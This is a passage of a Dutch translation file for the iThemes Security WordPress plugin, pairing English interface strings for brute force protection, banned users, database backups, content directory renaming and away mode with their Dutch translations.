"E-mailmeldingen voor bestandswijzigingen" #: core/modules/file-change/settings-page.php:121 #: core/modules/file-change/validator.php:27 msgid "Ignore File Types" msgstr "Negeer bestandstypes" #: core/modules/file-change/settings-page.php:111 #: core/modules/file-change/validator.php:26 msgid "Files and Folders List" msgstr "Bestanden- en mappenlijst" #: core/modules/file-change/settings-page.php:103 #: core/modules/file-change/validator.php:25 msgid "Include/Exclude Files and Folders" msgstr "Bestanden en mappen in-/uitsluiten" #: core/modules/file-change/settings-page.php:95 #: core/modules/file-change/validator.php:24 msgid "Split File Scanning" msgstr "Splits bestanden scan" #: core/modules/file-change/settings-page.php:9 msgid "File Change Detection" msgstr "Bestandswijzigingen detectie" #: core/modules/file-change/settings-page.php:88 msgid "Press the button below to scan your site's files for changes. Note that if changes are found this will take you to the logs page for details." msgstr "Klik op onderstaande knop om je site's bestanden te scannen op wijzigingen. Let op dat als wijzigingen worden gevonden, dit je naar de logboeken pagina zal sturen voor details." #: core/modules/file-change/admin.php:74 msgid "Dismiss Warning" msgstr "Waarschuwing negeren" #: core/admin-pages/page-settings.php:452 core/modules/file-change/admin.php:73 msgid "View Logs" msgstr "Bekijk logboeken" #: core/modules/file-change/settings-page.php:26 msgid "An unknown error occured. Please try again later" msgstr "Een onbekende fout heeft zich voorgedaan. Probeer het later nogmaals." #: core/modules/file-change/settings-page.php:24 msgid "No changes were detected." msgstr "Geen wijzigingen gedetecteerd." #: core/modules/file-change/settings-page.php:23 #: core/modules/malware/settings-page.php:17 msgid "Scanning..." msgstr "Scannen..." #: core/modules/file-change/settings-page.php:22 #: core/modules/file-change/settings-page.php:84 msgid "Scan Files Now" msgstr "Scan bestanden nu" #: core/modules/file-change/settings-page.php:22 #: core/modules/file-change/settings-page.php:84 msgid "Scan Next File Chunk" msgstr "Scan Volgend Blok met Bestanden" #. translators: 1: Specific error details #: core/modules/database-prefix/utility.php:66 msgid "Unable to update the <code>wp-config.php</code> file in order to update the Database Prefix. Error details as follows: %1$s" msgstr "Kon het <code>wp-config.php</code> bestand niet bijwerken voor het wijzigen van het Database Voorvoegsel. Foutdetails zijn als volgt: %1$s" #. translators: 1: Specific error details #: core/modules/database-prefix/utility.php:54 msgid "Unable to read the <code>wp-config.php</code> file in order to update the Database Prefix. Error details as follows: %1$s" msgstr "Kon het <code>wp-config.php</code> bestand niet lezen voor het wijzigen van het Database Voorvoegsel. Foutdetails zijn als volgt: %1$s" #: core/modules/database-prefix/utility.php:129 msgid "Could not update prefix references in usermeta table." msgstr "Kon de voorvoegsel-verwijzingen in de usermeta tabel niet wijzigen." #: core/modules/database-prefix/utility.php:112 msgid "Could not update prefix references in options table." msgstr "Kon de voorvoegsel-verwijzingen in de opties tabel niet bijwerken." #: core/modules/database-prefix/settings-page.php:20 msgid "Note: The use of this tool requires quite a bit of system memory which may be more than some hosts can handle. If you back your database up you can't do any permanent damage but without a proper backup you risk breaking your site and having to perform a rather difficult fix." msgstr "Let op: Het gebruik van deze functie vereist nogal wat systeemgeheugen, wat meer kan zijn dan sommige hosts aankunnen. Als je een back-up van je database maakt, kan je geen permanente schade ondervinden, maar zonder een goede back-up loop je het risico dat je site beschadigd raakt en je een moeilijke reparatie moet uitvoeren." #: core/modules/core/sidebar-widget-sync-cross-promo.php:23 msgid "Try iThemes Sync for Free" msgstr "Probeer iThemes Sync Gratis" #: core/modules/core/sidebar-widget-sync-cross-promo.php:21 msgid "Integrated with iThemes Security, so you can release lockouts and turn Away Mode on or off right from your Sync dashboard or your phone." msgstr "Geïntegreerd met iThemes Security, zodat je uitsluitingen kan vrijgeven en Afwezigheidsmodus aan en uit kan schakelen vanaf je Sync dashboard of je telefoon." #: core/modules/core/sidebar-widget-sync-cross-promo.php:20 msgid "Manage updates remotely for up to 10 WordPress sites today for free!" msgstr "Beheer vandaag nog gratis op afstand de updates voor maximaal 10 WordPress sites!" #: core/modules/core/sidebar-widget-mail-list-signup.php:39 msgid "Subscribe" msgstr "Inschrijven" #: core/modules/core/sidebar-widget-mail-list-signup.php:37 #: core/modules/ipcheck/settings-page.php:66 #: core/modules/ipcheck/validator.php:13 msgid "Email Address" msgstr "E-mailadres" #: core/modules/core/sidebar-widget-mail-list-signup.php:31 msgid "Get tips for securing your site + the latest WordPress security updates, news and releases from iThemes." msgstr "Ontvang tips voor het beveiligen van je site + de laatste WordPress beveiligingsupdates, nieuws en releases van iThemes." #: core/lib/class-itsec-mail.php:49 #: core/modules/core/sidebar-widget-pro-upsell.php:6 #: core/modules/core/sidebar-widget-pro-upsell.php:21 #: core/modules/core/sidebar-widget-support.php:16 msgid "Get iThemes Security Pro" msgstr "Haal iThemes Security Pro" #: core/modules/core/sidebar-widget-support.php:15 msgid "Get added peace of mind with professional support from our expert team and pro features with iThemes Security Pro." msgstr "Krijg extra gemoedsrust met professionele ondersteuning van ons team van experts en pro functies met iThemes Security Pro." #: core/modules/core/sidebar-widget-support.php:14 msgid "Get Free Support" msgstr "Ontvang gratis ondersteuning" #: core/modules/core/sidebar-widget-support.php:13 msgid "Since you are using the free version of iThemes Security from WordPress.org, you can get free support from the WordPress community." msgstr "Omdat je de gratis versie van iThemes Security van WordPress.org gebruikt, kan je gratis ondersteuning ontvangen van de WordPress community." #: core/modules/core/sidebar-widget-backupbuddy-cross-promo.php:16 msgid "Get BackupBuddy" msgstr "Haal BackupBuddy" #: core/modules/core/sidebar-widget-backupbuddy-cross-promo.php:15 msgid "BACKUPPROTECT" msgstr "BACKUPPROTECT" #: core/modules/core/sidebar-widget-backupbuddy-cross-promo.php:15 msgid "25% off BackupBuddy with coupon code" msgstr "25% korting op BackupBuddy met kortingscode" #: core/modules/core/sidebar-widget-backupbuddy-cross-promo.php:14 msgid "BackupBuddy is the complete backup, restore and migration solution for your WordPress site. Schedule automated backups, store your backups safely off-site and restore your site quickly & easily." msgstr "BackupBuddy is de complete oplossing voor back-ups, herstel en migratie van je WordPress site. Geplande automatische back-ups, bewaar je back-ups veilig off-site en herstel je site snel en gemakkelijk." #: core/modules/core/class-itsec-core-admin.php:33 msgid "Get Support" msgstr "Ontvang ondersteuning" #: core/modules/core/sidebar-widget-support.php:6 msgid "Need Help Securing Your Site?" msgstr "Hulp nodig met beveiligen van je site?" #: core/modules/core/sidebar-widget-sync-cross-promo.php:6 msgid "Manage Your Sites Remotely" msgstr "Beheer Je sites op afstand" #: core/modules/core/sidebar-widget-backupbuddy-cross-promo.php:6 msgid "Complete Your Security Strategy With BackupBuddy" msgstr "Vul Je beveiligingsstrategie Aan Met BackupBuddy" #: core/modules/core/sidebar-widget-mail-list-signup.php:6 msgid "Download Our WordPress Security Pocket Guide" msgstr "Download onze WordPress beveiligingsgids" #. translators: 1: Old directory path, 2: New directory path, 3: Specific error #. details #: core/modules/content-directory/utility.php:96 msgid "CRITICAL ERROR: The <code>%1$s</code> directory was successfully renamed to the new name (<code>%2$s</code>). However, an error occurred when updating the <code>wp-config.php</code> file to configure WordPress to use the new content directory. iThemes Security attempted to rename the directory back to its original name, but an unknown error prevented the rename from working as expected. In order for your site to function properly, you will either need to manually rename the <code>%2$s</code> directory back to <code>%1$s</code> or manually update the <code>wp-config.php</code> file with the necessary modifications. The error that prevented the file from updating is as follows: %3$s" msgstr "KRITIEKE FOUT: De <code>%1$s</code> map is succesvol hernoemd naar de nieuwe naam (<code>%2$s</code>). Echter heeft zich een fout voorgedaan bij het bijwerken van het <code>wp-config.php</code> bestand om WordPress te configureren zodat de nieuwe map gebruikt zal worden. iThemes Security heeft geprobeerd de map te hernoemen naar de originele naam, maar een onbekende fout heeft voorkomen dat dit werkte zoals bedoeld. Om je site weer correct te laten functioneren, moet je de <code>%2$s</code> map handmatig hernoemen naar <code>%1$s</code> of handmatig het <code>wp-config.php</code> bestand bijwerken met de nodige aanpassingen. De fout die voorkwam dat het bestand werd bijgewerkt is als volgt: %3$s" #. translators: 1: Directory path, 2: Directory permissions #: core/modules/content-directory/utility.php:60 msgid "Unable to set the permissions of the new Directory Name (<code>%1$s</code>) to match the permissions of the old Directory Name. You may have to manually change the permissions of the directory to <code>%2$s</code> in order for your site to function properly." msgstr "Kon de permissies van de nieuwe Mapnaam (<code>%1$s</code>) niet instellen gelijk aan de permissies van de oude Mapnaam. Je moet mogelijk handmatig de permissies van de map instellen op <code>%2$s</code> om je site correct te laten functioneren." #. translators: 1: Old directory path, 2: New directory path #: core/modules/content-directory/utility.php:43 msgid "Unable to rename the <code>%1$s</code> directory to <code>%2$s</code>. This could indicate a file permission issue or that your server does not support the supplied name as a valid directory name. No config file or directory changes have been made." msgstr "Kon de <code>%1$s</code> map niet hernoemen naar <code>%2$s</code>. Dit kan wijzen op een probleem met bestandspermissies of dat je server de opgegeven naam niet ondersteund als een geldige mapnaam. Er zijn geen wijzigingen in het configuratiebestand of mappen uitgevoerd.." #: core/modules/content-directory/utility.php:31 msgid "A file or directory already exists at <code>%s</code>. No Directory Name changes have been made. Please choose a new Directory Name or remove the existing file or directory and try again." msgstr "Een bestand of map bestaat al op <code>%s</code>. Er zijn geen wijzigingen in mapnamen uitgevoerd. Kies een nieuwe Mapnaam of verwijder het bestaande bestand of map en probeer het nogmaals." #: core/modules/content-directory/utility.php:12 msgid "The new directory name cannot be an absolute path. Please supply a path that is relative to <code>ABSPATH</code> (<code>%s</code>)." msgstr "De nieuwe mapnaam kan geen absoluut pad zijn. Geef een pad op dat relatief is aan <code>ABSPATH</code> (<code>%s</code>)." #: core/modules/content-directory/settings-page.php:73 msgid "<span>WARNING:</span> Changing the name of the Content Directory on a site that already has images and other content referencing it <strong>will break your site</strong>. For this reason, we highly recommend only changing the Content Directory on a fresh WordPress install." msgstr "<span>WAARSCHUWING:</span> Het wijzigen van de naam van de Inhoudsmap op een site die al afbeeldingen en andere inhoud bevat die hiernaar verwijst <strong>zal je site beschadigen</strong>. Om deze reden raden wij aan de Inhoudsmap alleen te wijzigen op nieuwe WordPress installaties." #: core/modules/content-directory/settings-page.php:72 msgid "<span>IMPORTANT:</span> Ensure that you <a href=\"%s\">create a database backup</a> before changing the Content Directory." msgstr "<span>BELANGRIJK:</span> Zorg ervoor dat je <a href=\"%s\">een database back-up maakt</a> voordat je de Inhoudsmap wijzigt." #: core/modules/content-directory/settings-page.php:71 msgid "<span>IMPORTANT:</span> Deactivating or uninstalling this plugin will not revert the changes made by this feature." msgstr "<span>BELANGRIJK:</span> Het deactiveren of deïnstalleren van deze plugin zal de door deze functie gemaakte wijzigingen niet ongedaan maken." #: core/modules/content-directory/settings-page.php:70 msgid "This tool provides an undo feature after changing the Content Directory. Since not all plugins, themes, or site contents function properly with a renamed Content Directory, please verify that the site is functioning correctly after the change. If any issues are encountered, the undo feature should be used to undo the change. Please note that the undo feature is only available when the changes added to the <code>wp-config.php</code> file for this feature are unmodified." msgstr "Deze functie biedt een 'ongedaan maken' functie na het wijzigen van de Inhoudsmap. Omdat niet alle plugins, themas of site inhoud correct functioneert met een hernoemde Inhoudsmap, dien je te verifiëren dat de site correct functioneert na de wijziging. Als er problemen zijn ontstaan, dient de 'ongedaan maken' functie te worden gebruikt om de wijziging ongedaan te maken. Let op dat de 'ongedaan maken' functie alleen beschikbaar is zolang de wijzigingen voor deze functie aan het <code>wp-config.php</code> bestand ongewijzigd zijn." #: core/modules/content-directory/settings-page.php:69 msgid "By default, WordPress stores files for plugins, themes, and uploads in a directory called <code>wp-content</code>. Some older and less intelligent bots hard coded this directory in order to look for vulnerable files. Modern bots are intelligent enough to locate this folder programmatically, thus changing the Content Directory is no longer a recommended security step." msgstr "Standaard slaat WordPress bestanden voor plugins, themas en uploads op in een map genaamd <code>wp-content</code>. Bij sommige oudere en minder intelligente bots is deze map hard gecodeerd om te zoeken naar kwetsbare bestanden. Moderne bots zijn intelligent genoeg om deze map programmatisch te vinden, waardoor het wijzigen van de Inhoudsmap niet langer een aanbevolen beveiligingsstap is." #: core/modules/content-directory/settings-page.php:61 msgid "Undo Content Directory Change" msgstr "Maak wijziging van inhoudsmap ongedaan" #: core/modules/content-directory/settings-page.php:57 msgid "<span>WARNING:</span> Undoing the Content Directory change when images and other content were added after the change <strong>will break your site</strong>. Only undo the Content Directory change if absolutely necessary." msgstr "<span>WAARSCHUWING:</span> Ongedaan maken van de Inhoudsmap wijziging als afbeeldingen en andere inhoud zijn toegevoegd na de wijziging <strong>zal je site beschadigen</strong>. Maak de Inhoudsmap wizjiging alleen ongedaan indien absoluut noodzakelijk." #: core/modules/content-directory/settings-page.php:56 msgid "<span>IMPORTANT:</span> Ensure that you <a href=\"%s\" data-module-link=\"backup\">create a database backup</a> before undoing the Content Directory change." msgstr "<span>BELANGRIJK:</span> Zorg ervoor dat je <a href=\"%s\" data-module-link=\"backup\">een database back-up maakt</a> voordat je de wijziging van de Inhoudsmap ongedaan maakt." #: core/modules/content-directory/settings-page.php:28 msgid "The <code>wp-content</code> directory is available at <code>%s</code>." msgstr "De <code>wp-content</code> is beschikbaar op <code>%s</code>." #. translators: 1: New directory name #: core/modules/content-directory/settings-page.php:117 msgid "The content directory was successfully changed back to <code>%1$s</code>." msgstr "De inhoudsmap is succesvol terug gewijzigd naar <code>%1$s</code>." #: core/modules/content-directory/settings-page.php:9 msgid "Change Content Directory" msgstr "Wijzig Inhoudsmap" #: core/modules/content-directory/utility.php:118 msgid "Do not remove. Removing this line could break your site. Added by Security > Settings > Change Content Directory." msgstr "Niet verwijderen. Deze regel verwijderen kan je site beschadigen. Toegevoegd door Beveiliging > Instellingen > Wijzig Inhoudsmap" #: core/modules/brute-force/class-itsec-brute-force.php:120 msgid "Invalid Login Attempt" msgstr "Ongeldige inlogpoging" #: core/modules/brute-force/class-itsec-brute-force.php:97 msgid "user tried to login as \"admin.\"" msgstr "gebruiker probeerde in te loggen als \"admin\"." #: core/modules/brute-force/class-itsec-brute-force.php:89 msgid "too many bad login attempts" msgstr "teveel foutieve inlogpogingen" #: core/modules/brute-force/class-itsec-brute-force-log.php:88 msgid "Username" msgstr "Gebruikersnaam" #: core/modules/brute-force/settings-page.php:39 msgid "The number of login attempts a user has before their username is locked out of the system. Note that this is different from hosts in case an attacker is using multiple computers. In addition, if they are using your login name you could be locked out yourself. Set to 0 to log bad login attempts per user without ever locking the user out (this is not recommended)." msgstr "Het aantal inlog pogingen die een gebruiker heeft voordat hun gebruikersnaam uit het systeem wordt uitgesloten. Let op dat dit verschilt van hosts in het geval dat een aanvaller meerdere computers gebruikt. Aanvullend: als ze jouw inlognaam gebruiken kan je zelf uitgesloten worden. Stel in op 0 om foutieve inlog pogingen te loggen zonder de gebruiker ooit uit te sluiten (dit wordt niet aangeraden)." #: core/modules/brute-force/settings-page.php:31 msgid "The number of login attempts a user has before their host or computer is locked out of the system. Set to 0 to record bad login attempts without locking out the host." msgstr "Het aantal login pogingen van een gebruiker voordat hun host of computer wordt uitgesloten van het systeem. Stel in op 0 om foutieve inlog pogingen op te slaan zonder de host uit te sluiten." #: core/modules/brute-force/settings-page.php:30 #: core/modules/brute-force/settings-page.php:38 msgid "Attempts" msgstr "Pogingen" #: core/modules/brute-force/settings-page.php:47 msgid "The number of minutes in which bad logins should be remembered." msgstr "Het aantal minuten waarin foutieve inlog pogingen moeten worden onthouden." #: core/modules/brute-force/settings-page.php:54 msgid "Immediately ban a host that attempts to login using the \"admin\" username." msgstr "Verban een host die probeert in te loggen met de gebruikersnaam \"admin\" direct." #: core/modules/ipcheck/settings-page.php:59 msgid "Local brute force protection looks only at attempts to access your site and bans users per the lockout rules specified locally. Network brute force protection takes this a step further by banning users who have tried to break into other sites from breaking into yours. The network protection will automatically report the IP addresses of failed login attempts to iThemes and will block them for a length of time necessary to protect your site based on the number of other sites that have seen a similar attack." msgstr "Lokale brute kracht beveiliging kijkt alleen naar pogingen om je site te benaderen en verbant gebruikers volgens de lokaal ingestelde regels. Netwerk brute kracht beveiliging gaat hierbij een stap verder door gebruikers die op andere site hebben geprobeerd in te breken van je site te verbannen. De netwerkbeveiliging zal het IP-adres van mislukte inlog pogingen automatisch aan iThemes rapporteren en hen enige tijd blokkeren om je site te beschermen, gebaseerd op het aantal andere sites die vergelijkbare aanvallen hebben gehad." #: core/modules/ipcheck/settings-page.php:57 msgid "Network vs Local Brute Force Protection" msgstr "Netwerk vs. Lokale Brute Kracht Beveiliging" #: core/modules/brute-force/settings-page.php:16 #: core/modules/ipcheck/settings-page.php:47 msgid "If one had unlimited time and wanted to try an unlimited number of password combinations to get into your site they eventually would, right? This method of attack, known as a brute force attack, is something that WordPress is acutely susceptible to as, by default, the system doesn't care how many attempts a user makes to login. It will always let you try again. Enabling login limits will ban the host user from attempting to login again after the specified bad login threshold has been reached." msgstr "Als iemand onbeperkt tijd zou hebben en een onbeperkt aantal wachtwoordcombinaties wou willen proberen om in je site te komen, zou het ze uiteindelijk lukken, toch? Deze methode van aanvallen, bekend als brute kracht aanval, is iets waarvoor WordPress vatbaar is omdat, standaard, het systeem niet uitmaakt hoeveel pogingen een gebruiker doet om in te loggen. Het zal je het altijd opnieuw laten proberen. Login limieten instellen zal de host gebruiker verbannen opnieuw te proberen in te loggen nadat een gespecificeerd aantal foute inlogpogingen is bereikt." #: core/modules/brute-force/class-itsec-brute-force.php:219 msgid "Invalid Login Attempts" msgstr "Ongeldige inlogpogingen" #: core/modules/brute-force/settings-page.php:51 #: core/modules/brute-force/validator.php:13 msgid "Automatically ban \"admin\" user" msgstr "Automatisch \"admin\" gebruiker verbannen" #: core/modules/brute-force/settings-page.php:43 #: core/modules/brute-force/validator.php:11 msgid "Minutes to Remember Bad Login (check period)" msgstr "Minuten om foute inlogpogingen te onthouden (controleperiode)" #: core/modules/brute-force/settings-page.php:35 #: core/modules/brute-force/validator.php:10 msgid "Max Login Attempts Per User" msgstr "Max inlogpogingen per gebruiker" #: core/modules/brute-force/settings-page.php:27 #: core/modules/brute-force/validator.php:9 msgid "Max Login Attempts Per Host" msgstr "Max inlogpogingen per host" #: core/modules/brute-force/settings-page.php:6 #: core/modules/security-check/scanner.php:14 #: core/modules/security-check/scanner.php:50 msgid "Local Brute Force Protection" msgstr "Lokale Brute Kracht Beveiliging" #: core/modules/ban-users/settings-page.php:19 msgid "This feature allows you to completely ban hosts and user agents from your site without having to manage any configuration of your server. Any IP addresses or user agents found in the lists below will not be allowed any access to your site." msgstr "Deze functie stelt je in staat om hosts en user agents volledig van je site te verbannen zonder configuratie van je server te hoeven beheren. IP-adressen of gebruikersagenten die in onderstaande lijst staan zal toegang tot je site worden ontzegd." #: core/modules/ban-users/settings-page.php:64 #: core/modules/ban-users/validator.php:43 msgid "Ban User Agents" msgstr "Verban User Agents" #: core/modules/ban-users/settings-page.php:44 #: core/modules/ban-users/validator.php:12 #: core/modules/ban-users/validator.php:25 #: core/modules/ban-users/validator.php:39 msgid "Ban Hosts" msgstr "Verban Hosts" #: core/modules/ban-users/settings-page.php:29 #: core/modules/ban-users/validator.php:9 msgid "Default Blacklist" msgstr "Standaard Zwarte Lijst" #: core/modules/ban-users/config-generators.php:168 msgid "Ban User Agents - Security > Settings > Banned Users" msgstr "Verban User Agents - Beveiliging > Instellingen > Verbannen Gebruikers" #: core/modules/ban-users/config-generators.php:84 #: core/modules/ban-users/config-generators.php:103 #: core/modules/ban-users/config-generators.php:115 msgid "Ban Hosts - Security > Settings > Banned Users" msgstr "Verban Hosts - Beveiliging > Instellingen > Verbannen Gebruikers" #: core/modules/ban-users/config-generators.php:18 msgid "Enable HackRepair.com's blacklist feature - Security > Settings > Banned Users > Default Blacklist" msgstr "Activeer HackRepair.com's zwarte lijst functie - Beveiliging > Instellingen > Verbannen Gebruikers > Standaard Zwarte Lijst" #: core/modules/ban-users/settings-page.php:32 msgid "Enable HackRepair.com's blacklist feature" msgstr "Activeer HackRepair.com's zwarte lijst functie" #: core/modules/ban-users/settings-page.php:69 msgid "Enter only 1 user agent per line." msgstr "Geef 1 user agent per regel op." #: core/modules/ban-users/settings-page.php:67 msgid "Use the guidelines below to enter user agents that will not be allowed access to your site." msgstr "Gebruik de richtlijnen hieronder om user agents op te geven die geen toegang tot je site zullen krijgen." #: core/modules/ban-users/settings-page.php:9 #: core/modules/security-check/scanner.php:12 #: core/modules/security-check/scanner.php:46 msgid "Banned Users" msgstr "Verbannen gebruikers" #: core/modules/backup/class-itsec-backup.php:322 msgid "Database Backup Executed" msgstr "Database back-up uitgevoerd" #: core/modules/backup/class-itsec-backup.php:256 msgid "saved locally" msgstr "lokaal opgeslagen" #: core/modules/backup/class-itsec-backup.php:270 msgid "emailed to backup recipients" msgstr "E-mail naar back-up ontvangers is verzonden" #: core/modules/backup/class-itsec-backup.php:268 msgid "email to backup recipients could not be sent." msgstr "e-mail naar back-up ontvangers kon niet worden verzonden." #: core/modules/backup/class-itsec-backup.php:263 msgid "emailed to backup recipients and saved locally" msgstr "E-maild naar back-up ontvangers is verzonden en lokaal opgeslagen" #: core/modules/backup/class-itsec-backup.php:255 msgid "Success" msgstr "Gelukt" #: core/modules/backup/class-itsec-backup.php:261 msgid "saved locally but email to backup recipients could not be sent." msgstr "lokaal opgeslagen maar e-mail naar back-up ontvangers kon niet worden verzonden." #: core/admin-pages/page-settings.php:116 #: core/modules/backup/class-itsec-backup.php:260 #: core/modules/backup/class-itsec-backup.php:267 #: core/modules/malware/class-itsec-malware-log.php:109 #: core/modules/malware/class-itsec-malware-scan-results-template.php:167 msgid "Error" msgstr "Fout" #: core/modules/backup/class-itsec-backup.php:298 msgid "[%s] Database Backup" msgstr "[%s] Database Back-up" #: core/modules/backup/settings-page.php:127 msgid "You may need to turn this off if you are having problems with backups." msgstr "Je moet dit mogelijk uitschakelen als je problemen hebt met back-ups." #: core/modules/backup/settings-page.php:126 msgid "Zip Database Backups" msgstr "Zip Database Back-ups" #: core/modules/backup/settings-page.php:119 msgid "Limit the number of backups stored locally (on this server). Any older backups beyond this number will be removed. Setting to \"0\" will retain all backups." msgstr "Beperk het aantal back-ups dat lokaal (op deze server) is opgeslagen. Alle oudere back-ups boven dit aantal worden verwijderd. Instellen op \"0\" zal alle back-ups bewaren." #: core/modules/backup/settings-page.php:100 msgid "Select what we should do with your backup file. You can have it emailed to you, saved locally or both." msgstr "Selecteer wat we moeten doen met je back-upbestand. Je kan het laten e-mailen naar jezelf, lokaal opslaan of beide." #: core/modules/backup/settings-page.php:99 msgid "Backup Save Method" msgstr "Methode van back-up opslaan" #: core/modules/backup/settings-page.php:74 msgid "Save Locally Only" msgstr "Alleen lokaal opslaan" #: core/modules/backup/settings-page.php:73 msgid "Email Only" msgstr "Alleen e-mailen" #: core/modules/backup/settings-page.php:72 msgid "Save Locally and Email" msgstr "Lokaal opslaan en e-mailen" #: core/modules/backup/settings-page.php:107 msgid "The path on your machine where backup files should be stored." msgstr "Het pad op je machine waar back-upbestanden moeten worden opgeslagen." #: core/modules/backup/settings-page.php:151 msgid "The number of days between database backups." msgstr "Het aantal dagen tussen database back-ups." #: core/modules/backup/settings-page.php:135 msgid "Some plugins can create log files in your database. While these logs might be handy for some functions, they can also take up a lot of space and, in some cases, even make backing up your database almost impossible. Select log tables above to exclude their data from the backup. Note: The table itself will be backed up, but not the data in the table." msgstr "Sommige plugins maken logboek bestanden aan in je database. Hoewel deze logboeken mogelijk handig zijn voor sommige functies, kunnen zij ook veel ruimte innemen en, in sommige gevallen, het maken van een back-up van je database bijna onmogelijk maken. Selecteer logboek-tabellen hierboven om hun gegevens uit te sluiten bij de back-up. Let op: de tabel zelf wordt geback-upt, maar niet de gegevens in de tabel." #: core/modules/backup/settings-page.php:133 msgid "Tables with data that does not need to be backed up" msgstr "Tabellen met data die niet hoeft te worden geback-upt." #: core/modules/backup/settings-page.php:142 msgid "Enable Scheduled Database Backups" msgstr "Activeer geplande database back-ups" #: core/modules/backup/settings-page.php:91 msgid "Checking this box will have the backup script backup all tables in your database, even if they are not part of this WordPress site." msgstr "Door dit vakje aan te vinken, zal het back-upscript alle tabellen in je database back-uppen, zelfs als ze geen onderdeel zijn van deze WordPress site." #: core/modules/backup/settings-page.php:82 msgid "Create a Database Backup" msgstr "Maak een database backup" #: core/modules/backup/settings-page.php:131 #: core/modules/backup/validator.php:25 msgid "Exclude Tables" msgstr "Tabellen uitsluiten" #: core/modules/backup/settings-page.php:123 #: core/modules/backup/validator.php:24 msgid "Compress Backup Files" msgstr "Comprimeer back-upbestanden" #: core/modules/backup/settings-page.php:115 #: core/modules/backup/validator.php:23 msgid "Backups to Retain" msgstr "Te bewaren back-ups" #: core/modules/backup/settings-page.php:104 #: core/modules/backup/validator.php:22 msgid "Backup Location" msgstr "Back-up locatie" #: core/modules/backup/settings-page.php:95 #: core/modules/backup/validator.php:20 core/modules/backup/validator.php:21 msgid "Backup Method" msgstr "Back-up methode" #: core/modules/backup/settings-page.php:88 #: core/modules/backup/validator.php:19 msgid "Backup Full Database" msgstr "Back-up volledige database" #: core/modules/backup/settings-page.php:147 #: core/modules/backup/validator.php:27 msgid "Backup Interval" msgstr "Back-up interval" #: core/modules/backup/settings-page.php:139 #: core/modules/backup/validator.php:26 msgid "Schedule Database Backups" msgstr "Plan database back-ups" #: core/modules/backup/settings-page.php:9 #: core/modules/security-check/scanner.php:13 #: core/modules/security-check/scanner.php:49 msgid "Database Backups" msgstr "Database back-ups" #: core/modules/backup/settings-page.php:22 msgid "Excluded Tables" msgstr "Uitgesloten Tabellen" #: core/modules/backup/settings-page.php:21 msgid "Tables for Backup" msgstr "Tabellen voor Back-up" #: core/modules/backup/settings-page.php:62 msgid "One of the best ways to protect yourself from an attack is to have access to a database backup of your site. If something goes wrong, you can get your site back by restoring the database from a backup and replacing the files with fresh ones. Use the button below to create a backup of your database for this purpose. You can also schedule automated backups and download or delete previous backups." msgstr "Een van de beste manieren om jezelf te beschermen tegen een aanval is door toegang te hebben tot een database back-up van je site. Als er iets misgaat, kan je je site terug krijgen door de database te herstellen vanuit een back-up en de bestanden te vervangen door nieuwe. Gebruik onderstaande knop om een back-up van je database te maken voor dit doel. Je kan ook automatische back-ups plannen en eerder gemaakte back-ups downloaden of verwijderen." #: core/modules/away-mode/class-itsec-away-mode.php:119 msgid "Away Mode Triggered" msgstr "Afwezigheidsmodus Geactiveerd" #: core/modules/away-mode/class-itsec-away-mode.php:91 msgid "A host was prevented from accessing the dashboard due to away-mode restrictions being in effect" msgstr "Een host is toegang tot het dashboard ontnomen doordat restricties in de afwezigheidsmodus actief zijn" #: core/modules/away-mode/settings-page.php:121 msgid "If this is incorrect, please update it on the <a href=\"%s\">WordPress General Settings page</a> by selecting the appropriate time zone. Failure to set the correct timezone may result in unintended lockouts." msgstr "Als dit niet klopt, werkt het dan bij op de <a href=\"%s\">WordPress Algemene Instellingen pagina</a> door de juiste tijdzone te selecteren. Het niet correct instellen van de tijdzone kan resulteren in onbedoelde uitsluitingen." #: core/modules/away-mode/settings-page.php:119 msgid "Please note that according to your <a href=\"%s\">WordPress Timezone settings</a> your current time is:" msgstr "Let op dat volgens je huidige <a href=\"%s\">WordPress Tijdzone instellingen</a> je huidige tijd het volgende is:" #: core/modules/away-mode/settings-page.php:26 msgid "As most sites are only updated at certain times of the day it is not always necessary to provide access to the WordPress dashboard 24 hours a day, 7 days a week. The options below will allow you to disable access to the WordPress Dashboard for the specified period. In addition to limiting exposure to attackers this could also be useful to disable site access based on a schedule for classroom or other reasons." msgstr "Omdat de meeste site alleen op bepaalde tijden op een dag bijgewerkt worden, is het niet altijd nodig om 24 uur per dag, 7 dagen per week toegang tot het WordPress dashboard te bieden. De opties hieronder stellen je in staat om toegang tot het WordPress Dashboard te ontzeggen gedurende een specifieke periode. Naast het beperken van de blootstelling aan aanvallers, kan dit ook nuttig zijn om toegang tot de site uit te schakelen op basis van een schema voor klaslokalen of andere redenen." #: core/modules/away-mode/settings-page.php:160 #: core/modules/away-mode/validator.php:31 #: core/modules/away-mode/validator.php:110 #: core/modules/away-mode/validator.php:114 #: core/modules/away-mode/validator.php:124 #: core/modules/away-mode/validator.php:128 msgid "End Time" msgstr "Eindtijd" #: core/modules/away-mode/settings-page.php:152 #: core/modules/away-mode/validator.php:31 #: core/modules/away-mode/validator.php:110 #: core/modules/away-mode/validator.php:114 msgid "End Date" msgstr "Einddatum" #: core/modules/away-mode/settings-page.php:140 #: core/modules/away-mode/validator.php:30 #: core/modules/away-mode/validator.php:110 #: core/modules/away-mode/validator.php:118 #: core/modules/away-mode/validator.php:124 #: core/modules/away-mode/validator.php:128 msgid "Start Time" msgstr "Starttijd" #: core/modules/away-mode/settings-page.php:132 #: core/modules/away-mode/validator.php:30 #: core/modules/away-mode/validator.php:110 #: core/modules/away-mode/validator.php:118 msgid "Start Date" msgstr "Startdatum" #: core/modules/away-mode/settings-page.php:124 #: core/modules/away-mode/validator.php:25 msgid "Type of Restriction" msgstr "Restrictietype" #: core/modules/away-mode/settings-page.php:128 msgid "Select the type of restriction you would like to enable." msgstr "Selecteer het type restrictie dat je wil activeren." #: core/modules/away-mode/validator.php:11 msgid "One Time" msgstr "Eenmalig" #: core/modules/away-mode/validator.php:10 msgid "Daily" msgstr "Dagelijks" #: core/modules/away-mode/settings-page.php:9 msgid "Away Mode" msgstr "Afwezigheidsmodus" #: core/modules/admin-user/settings-page.php:45 msgid "Change the ID of the user with ID 1." msgstr "Wijzig het ID van de gebruiker met ID 1." #: core/modules/admin-user/settings-page.php:42 #: core/modules/admin-user/validator.php:22 msgid "Change User ID 1" msgstr "Wijzig gebruikers-ID 1" #: core/modules/admin-user/settings-page.php:36 msgid "Enter a new username to replace \"admin.\" Please note that if you are logged in as admin you will have to log in again." msgstr "Voer een nieuwe gebruikersnaam in om \"admin\" mee te vervangen. Als je ingelogd bent als admin, moet je opnieuw inloggen." #: core/modules/admin-user/settings-page.php:32 #: core/modules/admin-user/validator.php:15 msgid 